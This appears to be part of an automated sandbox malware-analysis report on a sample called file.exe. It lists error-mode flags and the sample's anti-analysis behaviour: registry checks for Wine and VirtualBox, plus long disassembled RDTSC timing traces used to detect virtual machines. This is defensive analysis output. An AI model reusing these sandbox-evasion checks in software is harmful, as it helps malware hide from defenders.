Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3D28 second address: 3A3D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3D33 second address: 3A3D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3D37 second address: 3A3D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3D3B second address: 3A3D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F764878255Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E5EB second address: 51E5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E718 second address: 51E71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E71C second address: 51E734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E734 second address: 51E73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EAD7 second address: 51EB12 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F7648CE84F6h 0x00000008 jo 00007F7648CE84E6h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007F7648CE84F7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EB12 second address: 51EB16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522A4A second address: 522B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648CE84ECh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D3377h], eax 0x00000013 push 00000000h 0x00000015 and ecx, dword ptr [ebp+122D2DB8h] 0x0000001b push D23E2C34h 0x00000020 jnc 00007F7648CE84F4h 0x00000026 add dword ptr [esp], 2DC1D44Ch 0x0000002d push eax 0x0000002e sub dword ptr [ebp+122D1CB1h], edx 0x00000034 pop esi 0x00000035 push 00000003h 0x00000037 adc cx, 95D1h 0x0000003c push edi 0x0000003d add edi, 60AF9027h 0x00000043 pop ecx 0x00000044 push 00000000h 0x00000046 mov edi, dword ptr [ebp+122D2BFCh] 0x0000004c sub dword ptr [ebp+122D25BCh], edi 0x00000052 push 00000003h 0x00000054 sub dword ptr [ebp+122D3B3Dh], edi 0x0000005a push 5341CBE3h 0x0000005f jmp 00007F7648CE84F4h 0x00000064 add dword ptr [esp], 6CBE341Dh 0x0000006b cld 0x0000006c lea ebx, dword ptr [ebp+12452956h] 0x00000072 mov ecx, dword ptr [ebp+122D2B5Ch] 0x00000078 xchg eax, ebx 0x00000079 js 00007F7648CE84F5h 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 pushad 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522B02 second address: 522B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7648782556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522B4C second address: 522B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1D7Eh], edx 0x0000000d push 00000000h 0x0000000f jmp 00007F7648CE84F1h 0x00000014 push D0E43237h 0x00000019 js 00007F7648CE84F8h 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007F7648CE84E6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522B7F second address: 522BEF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 2F1BCE49h 0x00000011 stc 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F7648782558h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jg 00007F764878255Ch 0x00000034 push 00000000h 0x00000036 jmp 00007F7648782568h 0x0000003b push 00000003h 0x0000003d and esi, dword ptr [ebp+122D311Eh] 0x00000043 call 00007F7648782559h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b pop edx 0x0000004c pop eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BEF second address: 522BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BF3 second address: 522BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522BF7 second address: 522C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7648CE84EAh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7648CE84F2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522C1E second address: 522CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e ja 00007F764878256Ah 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnl 00007F764878256Dh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 push edi 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop edi 0x00000025 je 00007F764878255Ch 0x0000002b jnc 00007F7648782556h 0x00000031 popad 0x00000032 pop eax 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F7648782558h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d jmp 00007F7648782563h 0x00000052 lea ebx, dword ptr [ebp+1245295Fh] 0x00000058 mov edx, dword ptr [ebp+122D3C6Eh] 0x0000005e push eax 0x0000005f push ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522CC7 second address: 522CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522CCB second address: 522CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522DD9 second address: 522DF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7648CE84F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522DF6 second address: 522E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jno 00007F7648782561h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 push ecx 0x00000015 jg 00007F7648782556h 0x0000001b pop ecx 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jl 00007F7648782567h 0x00000029 jmp 00007F7648782561h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5425B6 second address: 5425BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5425BA second address: 5425E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F7648782573h 0x0000000e jmp 00007F764878255Ah 0x00000013 jmp 00007F7648782563h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5425E5 second address: 54261A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7648CE84F0h 0x0000000e jmp 00007F7648CE84EAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54261A second address: 54261E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5403BF second address: 5403C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5403C9 second address: 5403CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5403CF second address: 5403D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5403D5 second address: 5403F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007F764878255Eh 0x0000000d jnc 00007F7648782556h 0x00000013 pushad 0x00000014 popad 0x00000015 jnc 00007F7648782558h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5403F9 second address: 540415 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7648CE84F6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540415 second address: 54041E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54057B second address: 5405A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F7648CE84F2h 0x00000011 jmp 00007F7648CE84ECh 0x00000016 je 00007F7648CE84ECh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540708 second address: 540736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 jng 00007F7648782556h 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 jmp 00007F7648782568h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540736 second address: 54073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54073A second address: 540743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540743 second address: 540749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54087B second address: 540890 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7648782556h 0x00000008 jp 00007F7648782556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540890 second address: 540895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540895 second address: 5408A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7648782556h 0x0000000a jne 00007F7648782556h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540FB3 second address: 540FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537982 second address: 5379B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7648782567h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jc 00007F7648782556h 0x00000012 jmp 00007F7648782562h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5379B9 second address: 5379BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5379BF second address: 5379C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5379C3 second address: 5379C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541CE1 second address: 541CE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541CE6 second address: 541D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7648CE84E6h 0x0000000a jmp 00007F7648CE84EDh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 push ecx 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007F7648CE84EFh 0x0000001f pop ecx 0x00000020 jmp 00007F7648CE84F6h 0x00000025 push eax 0x00000026 push edx 0x00000027 jnp 00007F7648CE84E6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54213E second address: 54215B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F7648782556h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F764878255Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54215B second address: 54215F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54215F second address: 54217D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F7648782556h 0x0000000e jmp 00007F7648782560h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B15 second address: 545B2D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnc 00007F7648CE84E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B2D second address: 545B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B32 second address: 545B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B38 second address: 545B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54955F second address: 54957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F7648CE84F4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B70A second address: 54B70E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B70E second address: 54B72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7648CE84F6h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E43D second address: 54E447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7648782556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E5D1 second address: 54E5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E74E second address: 54E763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F764878255Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E9C3 second address: 54E9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F7648CE84EDh 0x0000000b popad 0x0000000c jmp 00007F7648CE84F4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E9EB second address: 54EA1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782567h 0x00000007 jmp 00007F764878255Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jng 00007F7648782558h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EB71 second address: 54EBBC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jmp 00007F7648CE84F8h 0x00000012 jmp 00007F7648CE84F8h 0x00000017 pop esi 0x00000018 jmp 00007F7648CE84EDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EBBC second address: 54EBC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jbe 00007F7648782556h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ED22 second address: 54ED28 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ED28 second address: 54ED35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ED35 second address: 54ED3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ED3D second address: 54ED41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552106 second address: 552122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7648CE84F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552122 second address: 552126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552126 second address: 55214E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jg 00007F7648CE84E8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7648CE84F4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5521F3 second address: 5521F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5521F7 second address: 5521FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5521FB second address: 55222C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 752B8E62h 0x0000000e jmp 00007F7648782569h 0x00000013 push B2E25760h 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
